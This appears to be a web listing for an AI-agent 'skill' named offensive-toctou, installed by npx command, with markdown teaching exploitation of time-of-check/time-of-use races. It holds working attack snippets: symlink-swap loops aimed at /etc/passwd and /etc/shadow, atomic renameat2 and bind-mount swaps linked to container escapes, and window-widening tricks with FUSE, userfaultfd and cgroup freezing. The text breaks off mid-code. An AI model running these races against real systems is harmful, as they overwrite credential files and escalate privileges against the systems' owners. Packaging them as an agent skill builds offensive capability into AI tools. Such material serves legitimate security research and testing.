$npx -y skills add SnailSploit/Claude-Red --skill offensive-toctouTime-of-Check / Time-of-Use (TOCTOU) race condition exploitation methodology across binary, kernel, filesystem, web, and container layers. Covers symbolic-link races (open/access/stat split), file-descriptor races, fopen/realpath traversal races, /proc and procfs races, FUSE-back
| 1 | # TOCTOU — Time-of-Check / Time-of-Use Exploitation |
| 2 | |
| 3 | A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object. |
| 4 | |
| 5 | ## Quick Workflow |
| 6 | |
| 7 | 1. Identify the **check** (syscall, function, validation step) and the **use** (the privileged action) |
| 8 | 2. Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot) |
| 9 | 3. Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request) |
| 10 | 4. **Widen the window** with FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2 |
| 11 | 5. Run a tight loop and confirm the post-use state corresponds to the swapped target |
| 12 | |
| 13 | --- |
| 14 | |
| 15 | ## The Core Pattern |
| 16 | |
| 17 | ```c |
| 18 | // Vulnerable |
| 19 | if (access(path, W_OK) == 0) { // check — resolves "path" now |
| 20 | fd = open(path, O_WRONLY); // use — re-resolves "path" later |
| 21 | write(fd, attacker_data, n); |
| 22 | } |
| 23 | ``` |
| 24 | |
| 25 | Between `access` and `open`, an attacker replaces `path` with a symlink to `/etc/shadow`. The check sees an attacker-owned file; the use opens shadow as root. |
| 26 | |
| 27 | The fix is always: **operate on the kernel object, not the path.** Use `O_NOFOLLOW`, `openat` with `AT_SYMLINK_NOFOLLOW`, `fstat` on the FD, etc. |
| 28 | |
| 29 | --- |
| 30 | |
| 31 | ## Filesystem TOCTOU |
| 32 | |
| 33 | ### Symlink Swap (Classic) |
| 34 | |
| 35 | ```bash |
| 36 | # Setup target — privileged binary that writes to user-supplied path after access() check |
| 37 | victim --output /tmp/.attacker/output |
| 38 | |
| 39 | # Race loop |
| 40 | while true; do |
| 41 | ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null |
| 42 | ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null |
| 43 | done & |
| 44 | |
| 45 | # Run victim repeatedly |
| 46 | while true; do victim --output /tmp/.attacker/output; done |
| 47 | ``` |
| 48 | |
| 49 | ### renameat2(RENAME_EXCHANGE) — Atomic Single-Frame Swap |
| 50 | |
| 51 | ```c |
| 52 | syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE); |
| 53 | ``` |
| 54 | |
| 55 | `RENAME_EXCHANGE` swaps two paths atomically — combined with FUSE-paused dir lookups, this is a near-deterministic primitive on Linux ≥ 3.15. |
| 56 | |
| 57 | ### Directory Swap (mv between two prepared trees) |
| 58 | |
| 59 | When the victim resolves `parent/file`, swap `parent` itself: |
| 60 | |
| 61 | ```bash |
| 62 | mv good_dir parent && mv evil_dir parent_was_good_dir |
| 63 | # If victim is mid-resolution of `parent/file`, dir cache may pin one side |
| 64 | ``` |
| 65 | |
| 66 | ### Bind Mount / Mount-Namespace Swap (root-only or in user-ns) |
| 67 | |
| 68 | ```bash |
| 69 | unshare -mUr |
| 70 | mkdir /tmp/x /tmp/y |
| 71 | echo benign > /tmp/x/file |
| 72 | mount --bind /etc/shadow /tmp/y/file |
| 73 | # Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done |
| 74 | ``` |
| 75 | |
| 76 | In containerized contexts with `CAP_SYS_ADMIN` in a user namespace, this is the foundation of multiple runc/CVE escape chains. |
| 77 | |
| 78 | --- |
| 79 | |
| 80 | ## Window-Widening Primitives |
| 81 | |
| 82 | The race is always winnable in theory; in practice you need the window large enough for your swap. |
| 83 | |
| 84 | ### FUSE-Backed Slow Filesystem |
| 85 | |
| 86 | Mount a FUSE filesystem you control. When the victim does `open` or `stat`, your handler sleeps: |
| 87 | |
| 88 | ```python |
| 89 | # fusepy |
| 90 | class SlowFS(Operations): |
| 91 | def getattr(self, path, fh=None): |
| 92 | if path == '/trigger': |
| 93 | time.sleep(5) # stretch the check |
| 94 | return os.lstat(self.root + path).__dict__ |
| 95 | ``` |
| 96 | |
| 97 | Now the check call inside the victim blocks for 5 seconds — plenty of time to swap the post-check filename. |
| 98 | |
| 99 | ### Userfaultfd (kernel-level page faults) |
| 100 | |
| 101 | ```c |
| 102 | // Register a userfault region; when the victim reads the user-controlled buffer, |
| 103 | // pause it in the page-fault handler, swap data, then resume. |
| 104 | ioctl(uffd, UFFDIO_REGISTER, ®); |
| 105 | ``` |
| 106 | |
| 107 | `userfaultfd` can pause a kernel-side `copy_from_user` mid-read, enabling double-fetch wins. Linux ≥ 5.11 requires `vm.unprivileged_userfaultfd=1` (off by default in many distros). |
| 108 | |
| 109 | ### Cgroup Freeze |
| 110 | |
| 111 | ```bash |
| 112 | mkdir /sys/fs/cgroup/race |
| 113 | echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs |
| 114 | echo 1 > /sys/fs/cgroup/race/cgroup.freeze # pause |
| 115 | # swap files |
| 116 | echo 0 > /sys/fs/cgroup/race/cgroup.freeze # resume |
| 117 | ``` |
| 118 | |
| 119 | ### Single-CPU Pinning + sched_yield |
| 120 | |
| 121 | ```c |
| 122 | cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set); |
| 123 | sched_setaffinity(victim_pid, sizeof(set), &set); |
| 124 | // |